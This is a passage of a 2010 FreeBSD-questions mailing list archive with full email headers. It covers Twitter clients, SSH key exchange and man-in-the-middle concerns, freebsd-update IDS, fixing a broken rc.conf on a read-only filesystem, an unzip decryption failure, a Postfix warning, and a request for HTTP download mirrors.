08:00:38 +0000 (UTC) Received: (qmail 65383 invoked by uid 0); 9 Mar 2010 15:46:34 +0800 Received: from mail.qubeconnect.com (HELO Dinesh-Nairs-MacBook-Pro.local) (202.190.74.25) by mail.qubeconnect.com with SMTP; 9 Mar 2010 15:46:34 +0800 Message-ID: <4B95F9E4.2060901@alphaque.com> Date: Tue, 09 Mar 2010 15:33:56 +0800 From: Dinesh Nair User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <4B95C05E.8040507@joseph-a-nagy-jr.us> <20100309033154.GA12198@orion.hsd1.pa.comcast.net> <4B95C4D3.8010009@joseph-a-nagy-jr.us> <4B95CCAF.2020909@joseph-a-nagy-jr.us> In-Reply-To: <4B95CCAF.2020909@joseph-a-nagy-jr.us> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Twitter On FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 08:00:39 -0000 On 09/03/2010 12:21, Programmer In Training wrote: > Seriously, does anyone have a good Twitter client they use? I have very > simple requirements (GUI, must be able to pull my feeds for local > display, easy to compile (e.g. doesn't require anything from KDE)). may not be a standalone client, but have you tried the Echofon plugin for Firefox ? it supports multiple twitter accounts too. --dinesh From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 08:30:56 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 227C3106564A for ; Tue, 9 Mar 2010 08:30:56 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (agora.rdrop.com [199.26.172.34]) by mx1.freebsd.org (Postfix) with ESMTP id F394F8FC15 for ; Tue, 9 Mar 2010 08:30:55 +0000 (UTC) Received: from agora.rdrop.com (66@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id o298UjQN096344 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 9 Mar 2010 00:30:45 -0800 (PST) (envelope-from perryh@pluto.rain.com) Received: (from uucp@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) with UUCP id o298Ujxw096343; Tue, 9 Mar 2010 00:30:45 -0800 (PST) Received: from fbsd61 by pluto.rain.com (4.1/SMI-4.1-pluto-M2060407) id AA13631; Tue, 9 Mar 10 00:25:54 PST Date: Tue, 09 Mar 2010 00:31:03 -0800 From: perryh@pluto.rain.com To: lalev.angelin@gmail.com Message-Id: <4b960747.T7FO5AkwXJGAGApg%perryh@pluto.rain.com> References: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> In-Reply-To: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> User-Agent: nail 11.25 7/29/05 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: [OT] ssh security X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 08:30:56 -0000 Angelin Lalev wrote: > So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange. > These algorithms can defeat any attempts on eavesdropping, but cannot > defeat man-in-the-middle attacks. To defeat them, some pre-shared > information is needed - key fingerprint. What happened to Diffie-Hellman? Last I heard, its whole point was to enable secure communication, protected from both eavesdropping and MIM attacks, between systems having no prior trust relationship (e.g. any sort of pre-shared secret). What stops the server and client from establishing a Diffie-Hellman session and using it to perform the key exchange? From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 08:48:17 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DAC611065693 for ; Tue, 9 Mar 2010 08:48:17 +0000 (UTC) (envelope-from Olivier.Nicole@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 8A4148FC2A for ; Tue, 9 Mar 2010 08:48:17 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by mail.cs.ait.ac.th (Postfix) with ESMTP id E1BEF3A383C; Tue, 9 Mar 2010 15:48:13 +0700 (ICT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cs.ait.ac.th; h= references:subject:subject:in-reply-to:from:from:message-id:date :date:received:received:received; s=selector1; t=1268124493; x= 1269938893; bh=+fkE9gGhRU7VaLL4zb3grpvYzdPW6fCUOSh93JZYBzQ=; b=j nNfxgyDfRJsR7EnPw2663nhx1p6vFi+Jwk6k7yKfhmqIMFqK7Rw9Lyjer5ghLYwI 6Mb9JZlnWmXV1+hN6M3GfJ6YY0r2WxvQwa/VvwJuQWkle7CzTh10NeqIiKC6J0c8 2o0N4eBXFUpHJP5rjTDbOqy2GmqH+WO3kTR5xNQGEM= X-Virus-Scanned: amavisd-new at cs.ait.ac.th Received: from mail.cs.ait.ac.th ([127.0.0.1]) by localhost (mail.cs.ait.ac.th [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id jfiGallgGrCA; Tue, 9 Mar 2010 15:48:13 +0700 (ICT) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.cs.ait.ac.th (Postfix) with ESMTPS id 74D1F3A3836; Tue, 9 Mar 2010 15:48:13 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.3/8.14.3/Submit) id o298mBSN079005; Tue, 9 Mar 2010 15:48:11 +0700 (ICT) (envelope-from on) Date: Tue, 9 Mar 2010 15:48:11 +0700 (ICT) Message-Id: <201003090848.o298mBSN079005@banyan.cs.ait.ac.th> From: Olivier Nicole To: perryh@pluto.rain.com In-reply-to: <4b960747.T7FO5AkwXJGAGApg%perryh@pluto.rain.com> References: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> <4b960747.T7FO5AkwXJGAGApg%perryh@pluto.rain.com> Cc: freebsd-questions@freebsd.org Subject: Re: [OT] ssh security X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 08:48:17 -0000 > What happened to Diffie-Hellman? Last I heard, its whole point was > to enable secure communication, protected from both eavesdropping > and MIM attacks, between systems having no prior trust relationship > (e.g. any sort of pre-shared secret). What stops the server and > client from establishing a Diffie-Hellman session and using it to > perform the key exchange? I am not expert in cryptography, but logic tends to tell me that is I have no prior knowledge about the person I am about to talk to, anybody (MIM) could pretend to be that person. The pre-shared information need not to be secret (key fingerprints are not secret), but there is need for pre-shared trusted information. Bests, Olivier From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 09:11:28 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 71ED2106566C for ; Tue, 9 Mar 2010 09:11:28 +0000 (UTC) (envelope-from glimp@live.com) Received: from blu0-omc4-s7.blu0.hotmail.com (blu0-omc4-s7.blu0.hotmail.com [65.55.111.146]) by mx1.freebsd.org (Postfix) with ESMTP id 3AE4D8FC16 for ; Tue, 9 Mar 2010 09:11:27 +0000 (UTC) Received: from BLU0-SMTP64 ([65.55.111.135]) by blu0-omc4-s7.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 9 Mar 2010 01:11:27 -0800 X-Originating-IP: [151.49.231.39] X-Originating-Email: [glimp@live.com] Message-ID: Received: from aodai.collidiamo.net ([151.49.231.39]) by BLU0-SMTP64.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959); Tue, 9 Mar 2010 01:11:26 -0800 Date: Tue, 09 Mar 2010 10:11:01 +0100 From: daniele User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.8) Gecko/20100302 Thunderbird/3.0.3 MIME-Version: 1.0 To: bsd-questions Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 09 Mar 2010 09:11:26.0788 (UTC) FILETIME=[7F5E7040:01CABF68] Cc: Subject: freebsd-update & IDS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 09:11:28 -0000 Hi ! I have a question about using freebsd-update && IDS command. what is the correct way to specify 'the "known good" index of the installed release' ? I would like to compare an installed system with the(its) original released CD. Thanks d Ref: http://www.freebsd.org/cgi/man.cgi?query=freebsd-update&apropos=0&sektion=0&manpath=FreeBSD+8.0-RELEASE&format=html From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 09:37:05 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4E7FC1065670 for ; Tue, 9 Mar 2010 09:37:05 +0000 (UTC) (envelope-from kraduk@googlemail.com) Received: from mail-fx0-f215.google.com (mail-fx0-f215.google.com [209.85.220.215]) by mx1.freebsd.org (Postfix) with ESMTP id C73E38FC08 for ; Tue, 9 Mar 2010 09:37:04 +0000 (UTC) Received: by fxm7 with SMTP id 7so2732881fxm.14 for ; Tue, 09 Mar 2010 01:37:03 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=4itAhnTJWiQmYieCjySuxi2t/b3YmnCzkZ5CcnFDfj0=; b=RTWSKQdftF+wRwPC7nJwQqeK0ov6d66aOG27gnnlm8b4O/ow4uZ0SU05usY6vnEHxm t0Cjx9mVQrMagakn2jCSy2gkCejg0F8URLbBxPDnZ5nNKHcpmnrtZ37tOZZNlCBJxTr9 dO8YCu5fMYrrb69Q14qi/GXkpAXNP2u5lSTJg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=lSOPHBn9yzbHVctA3q3dMKE4rnUgnBDys0glw6AkcoVCxtyfDODI2SgzvyHE3cK3wH DTR/1QEELpEpWfEfBf5h/b7V9CNg+ogYX6iXQ/XXQKgBrx5oA043tp6vNU9CmoybgL6V P9JxLOMtUPVk5YprAyBB/avA15gov0OW10XsY= MIME-Version: 1.0 Received: by 10.239.184.199 with SMTP id z7mr595765hbg.113.1268127423352; Tue, 09 Mar 2010 01:37:03 -0800 (PST) In-Reply-To: <447hpm9ga3.fsf@lowell-desk.lan> References: <861961dd1003082145w4c19d4f0g1f59597d2d077ec7@mail.gmail.com> <447hpm9ga3.fsf@lowell-desk.lan> Date: Tue, 9 Mar 2010 09:37:03 +0000 Message-ID: From: krad To: Lowell Gilbert Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: oscar Seo , freebsd-questions@freebsd.org Subject: Re: How can I repair wrong /etc/rc.conf ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 09:37:05 -0000 On 9 March 2010 06:10, Lowell Gilbert < freebsd-questions-local@be-well.ilk.org> wrote: > oscar Seo writes: > > > I'm using FreeBSD 6.4 + windowmaker in IBM notebook. > > I edited /etc/rc.conf to use LAN other ip address is different from my > home > > address in my school. > > I got error message from this > > [ > > /etc/rc.conf: 131: Syntax error: Unterminated quoted string > > Enter full pathname of shell or RETURN for /bin/sh: > > ] > > so that I returned, I decided to edit /etc/rc.conf using vi. > > But freebsd didn't find vi, less any other application. > > I can't modify even if read /etc/rc.conf. > > fortunately I can use cat so I found my fault sting from /etc/rc.conf but > I > > can't modify any files cause the system changed into read only file > system. > > How can I repair /etc/rc.conf file with fault statements using any > editor? > > > > Thanks in advanced. > > Oscar > > There is an entry in the FreeBSD FAQ titled "I made a mistake in > rc.conf, or another startup file, and now I cannot edit it because the > file system is read-only. What should I do?" > > It's exactly what you need. > -- > Lowell Gilbert, embedded/networking software engineer, Boston area > http://be-well.ilk.org/~lowell/ > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > try doing a "mount -uw /" then a "mount -a" From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 10:31:35 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4CBDE1065672 for ; Tue, 9 Mar 2010 10:31:35 +0000 (UTC) (envelope-from mexas@bristol.ac.uk) Received: from dirj.bris.ac.uk (dirj.bris.ac.uk [137.222.10.78]) by mx1.freebsd.org (Postfix) with ESMTP id 0C7548FC20 for ; Tue, 9 Mar 2010 10:31:34 +0000 (UTC) Received: from ncsc.bris.ac.uk ([137.222.10.41]) by dirj.bris.ac.uk with esmtp (Exim 4.69) (envelope-from ) id 1Nowir-00039l-GU for freebsd-questions@freebsd.org; Tue, 09 Mar 2010 10:31:33 +0000 Received: from mech-cluster241.men.bris.ac.uk ([137.222.187.241]) by ncsc.bris.ac.uk with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.67) (envelope-from ) id 1Nowir-0003Lx-EC for freebsd-questions@freebsd.org; Tue, 09 Mar 2010 10:31:33 +0000 Received: from mech-cluster241.men.bris.ac.uk (localhost [127.0.0.1]) by mech-cluster241.men.bris.ac.uk (8.14.3/8.14.3) with ESMTP id o29AVXh5055978 for ; Tue, 9 Mar 2010 10:31:33 GMT (envelope-from mexas@bristol.ac.uk) Received: (from mexas@localhost) by mech-cluster241.men.bris.ac.uk (8.14.4/8.14.3/Submit) id o29AVXjZ055977 for freebsd-questions@freebsd.org; Tue, 9 Mar 2010 10:31:33 GMT (envelope-from mexas@bristol.ac.uk) X-Authentication-Warning: mech-cluster241.men.bris.ac.uk: mexas set sender to mexas@bristol.ac.uk using -f Date: Tue, 9 Mar 2010 10:31:33 +0000 From: Anton Shterenlikht To: freebsd-questions@freebsd.org Message-ID: <20100309103133.GG52284@mech-cluster241.men.bris.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) Subject: unzip fails to extract password protected archive X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 10:31:35 -0000 This is on FreeBSD ia64 9.0-CURRENT #0 r203484M: I've zip-3.0 and unzip-6.0 installed from ports. When I try to add files to an archive with encryption, I cannot then extract them back: > ls -al > try > zip -e try.zip try Enter password: Verify password: adding: try (deflated 42%) > rm try > unzip try.zip Archive: try.zip extracting: try | unzip: ZIP decompression failed (-3) > ls -al try -rwxr-xr-x 1 mexas wheel 0 9 Mar 10:27 try > the extracted file is zero length. Maybe this is not supposed to work? Please advise many thanks anton -- Anton Shterenlikht Room 2.6, Queen's Building Mech Eng Dept Bristol University University Walk, Bristol BS8 1TR, UK Tel: +44 (0)117 331 5944 Fax: +44 (0)117 929 4423 From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 11:11:34 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6F51D106564A for ; Tue, 9 Mar 2010 11:11:34 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp103.prem.mail.ac4.yahoo.com (smtp103.prem.mail.ac4.yahoo.com [76.13.13.42]) by mx1.freebsd.org (Postfix) with SMTP id 02C898FC1A for ; Tue, 9 Mar 2010 11:11:33 +0000 (UTC) Received: (qmail 1733 invoked from network); 9 Mar 2010 11:11:33 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Received:Date:From:To:Subject:Message-ID:Reply-To:Organization:X-Mailer:Face:Mime-Version:Content-Type:Content-Transfer-Encoding; b=eSY/YUECveFIkrIeO2BHimTloiS82zOA+A/64iov09imGAseupYk3ySZS/WJEnuJ1FUNEXy5dJn61fsP1qaUUyq1Vz4vPMa2tbe6kRQknhPYMhi2aQNMf6oW8rzXwP5a5hf4ooBlu9LLGeqrKgtlFqZaPNjWFf4Zjwc3arGSr8I= ; Received: from c-67-189-160-65.hsd1.ny.comcast.net (gesbbb@67.189.160.65 with login) by smtp103.prem.mail.ac4.yahoo.com with SMTP; 09 Mar 2010 03:11:33 -0800 PST X-Yahoo-SMTP: yeAAMgKswBATCul4lSbCWspvTA-- X-YMail-OSG: .NfCPPoVM1lY7A.YbtZE84j42YKRZutWHM0aOBsOk4Lyx6xPA0sOFpHetE1lgnQTNYvRLXvZn0YVXgB8JQ1MQVmqyNmK3dsxTipIoKHeS8ihSFkX2ndnxkC1BFEexAN97NvxYACnarfEO5zlA10wrI1BQvStnE8YAIoCu155sl0j0amEpe8UJOt5wFHddbfWjjJKYiYn7g6coiHIG5CykIPSoqbQehmTBz0VB5uUaDqdqBJAgsHcOTyrJchVm7Fc_maBS4Es1T369569eWUPje.JCUZE36QRyh8XhVtWvkOVI.TbO1KcUUgPy2uQ46OVvyLHHG9ju3tZUVMIswbatA-- X-Yahoo-Newman-Property: ymail-3 Received: from scorpio.seibercom.net (scorpio.seibercom.net [192.168.1.101]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: gesbbb@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPSA id B3F1F22825 for ; Tue, 9 Mar 2010 06:11:32 -0500 (EST) Date: Tue, 9 Mar 2010 06:11:32 -0500 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20100309061132.6d1ff157@scorpio.seibercom.net> Organization: seibercom.net X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd7.3) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: warning: network_biopair_interop: error reading 5 bytes from the network: Connection reset by peer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 11:11:34 -0000 Since updating to FreeBSD 7.3-PRERELEASE, I am having problems with my mail server. I have Postfix (2.7-20100117) installed. When sending, this warning message appears in the mail log: warning: network_biopair_interop: error reading 5 bytes from the network: Connection reset by peer When I posted this on the Postfix forum, Wietse Venema, the author of Postfix, replied: Connection reset by peer (or error code ECONNRESET) means that the other party hung up. This never happened prior to updating FreeBSD to FreeBSD 7.3-PRERELEASE. Has anyone else experienced this or have a solution? -- Jerry gesbbb@yahoo.com |::::======= |::::======= |=========== |=========== | I trust the first lion he meets will do his duty. J. P. Morgan on Teddy Roosevelt's safari From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 11:30:13 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 02E2F106566B for ; Tue, 9 Mar 2010 11:30:13 +0000 (UTC) (envelope-from ltsampros@gmail.com) Received: from mail-bw0-f228.google.com (mail-bw0-f228.google.com [209.85.218.228]) by mx1.freebsd.org (Postfix) with ESMTP id 7E8E98FC13 for ; Tue, 9 Mar 2010 11:30:12 +0000 (UTC) Received: by bwz28 with SMTP id 28so1224889bwz.14 for ; Tue, 09 Mar 2010 03:30:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:sender:from:to:cc:subject :references:date:in-reply-to:message-id:user-agent:mime-version :content-type; bh=buS13ySY96+FfGFDXMRzHZuDnvbcvQ2wusC2jkQL7Ys=; b=JakXHXQWLXevPboAcga3Yy8l+gGv5hFhrYX+JDMhLnAQkr1MF6SDw/o1tMRqsaRG4B u4Gvvd8zXJIB5vQQccZjAc84oqDfWBRqdsC24dstWQOpHTh3mawHjaW4vEvlUJm7RFRK KAMjmE0eVe2mPj7bILmeSpWS5vbAy9qr2DXyU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=sender:from:to:cc:subject:references:date:in-reply-to:message-id :user-agent:mime-version:content-type; b=jl7uUDe06asY+yL8w/23UscF5X1p3jHj32yxwTq3IeBSCuQ4EiObRDtojGCnbUlcSu 0gc8cpEKzlPpMhWzQCcNMksAYHXl32AX/TJdUrWvDeU3JA8lY2rBkcyUjrBIwfqGySth QUdv7oRezLX7jlSDneu0o2WLzKPG5zifJwvf4= Received: by 10.204.156.22 with SMTP id u22mr6942659bkw.24.1268132312588; Tue, 09 Mar 2010 02:58:32 -0800 (PST) Received: from ltsampros-laptop.bifteki.lan ([212.205.17.3]) by mx.google.com with ESMTPS id x16sm21633659bku.23.2010.03.09.02.58.31 (version=TLSv1/SSLv3 cipher=RC4-MD5); Tue, 09 Mar 2010 02:58:32 -0800 (PST) Sender: Leonidas Tsampros From: Leonidas Tsampros To: daniele References: Date: Tue, 09 Mar 2010 12:58:23 +0200 In-Reply-To: (daniele's message of "Tue, 09 Mar 2010 10:11:01 +0100") Message-ID: <87pr3d7ods.fsf@bifteki.lan> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: bsd-questions Subject: Re: freebsd-update & IDS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 11:30:13 -0000 daniele writes: > Hi ! > > I have a question about using freebsd-update && IDS command. > what is the correct way to specify 'the "known good" index of the > installed release' ? > I would like to compare an installed system with the(its) original > released CD. Although not an avid freebsd-update user, I think what you want is done automagically by freebsd-update, given that you run a version supported by freebsd-update(8) (as described in the man page). > Thanks > d > > Ref: > http://www.freebsd.org/cgi/man.cgi?query=freebsd-update&apropos=0&sektion=0&manpath=FreeBSD+8.0-RELEASE&format=html > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 12:31:44 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 55CFA106566C for ; Tue, 9 Mar 2010 12:31:44 +0000 (UTC) (envelope-from pit@joseph-a-nagy-jr.us) Received: from outbound-mail-158.bluehost.com (outbound-mail-158.bluehost.com [67.222.39.38]) by mx1.freebsd.org (Postfix) with SMTP id 1BD328FC20 for ; Tue, 9 Mar 2010 12:31:43 +0000 (UTC) Received: (qmail 20137 invoked by uid 0); 9 Mar 2010 12:31:43 -0000 Received: from unknown (HELO box264.bluehost.com) (69.89.31.64) by cpoproxy2.bluehost.com with SMTP; 9 Mar 2010 12:31:43 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=joseph-a-nagy-jr.us; h=Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:References:In-Reply-To:X-Enigmail-Version:Content-Type:X-Identified-User; b=kYN5+uC9qCXNMieP5Ybe+hS3cwjr0GPtTX5AWlmhaGx6RycNej7tJKcLNt0DUKX8BRrERL4DbDQZQm0sGbRvm397Ze8/1HxL0sj63pCZasObDHOzo90/CSO2lzzlopBu; Received: from [206.74.86.236] (helo=[192.168.1.106]) by box264.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1Noyb8-0002Yw-M9 for freebsd-questions@freebsd.org; Tue, 09 Mar 2010 05:31:43 -0700 Message-ID: <4B963F97.1030001@joseph-a-nagy-jr.us> Date: Tue, 09 Mar 2010 06:31:19 -0600 From: Programmer In Training User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.7) Gecko/20100203 Thunderbird/3.0.1 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <4B95C05E.8040507@joseph-a-nagy-jr.us> <20100309033154.GA12198@orion.hsd1.pa.comcast.net> <4B95C4D3.8010009@joseph-a-nagy-jr.us> <4B95CCAF.2020909@joseph-a-nagy-jr.us> <11167f521003082314h4c723216h3bec197278a5f1b@mail.gmail.com> In-Reply-To: <11167f521003082314h4c723216h3bec197278a5f1b@mail.gmail.com> X-Enigmail-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig60E9779C466B610A3C054B41" X-Identified-User: {2250:box264.bluehost.com:ameliora:joseph-a-nagy-jr.us} {sentby:smtp auth 206.74.86.236 authed with pit@joseph-a-nagy-jr.us} Subject: Re: Twitter On FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 12:31:44 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig60E9779C466B610A3C054B41 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On 03/09/10 01:14, Sam Fourman Jr. wrote: > I wonder if this can be done in FreeBSD? >=20 > http://www.technixupdate.com/install-tweetdeck-on-ubuntu-linux/ I've been working on that, but AIR chokes for one reason or another (see previous emails in this thread). --=20 Yours In Christ, PIT Emails are not formal business letters, whatever businesses may want. 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X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 15:12:04 -0000 Hi, Am studying at a University in E. Africa but the problem is that our server administrators blocked "ftp" and filtered out images, so we can not download any image file, the most common extension for operating systems. I was just requesting then if there is a HTTP site with zipped freeBSD image files ready for download. It would really help a number of us out here. Thanks abundantly, Yours sincerely, Emmanuel From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 15:22:01 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9A4B7106566C for ; Tue, 9 Mar 2010 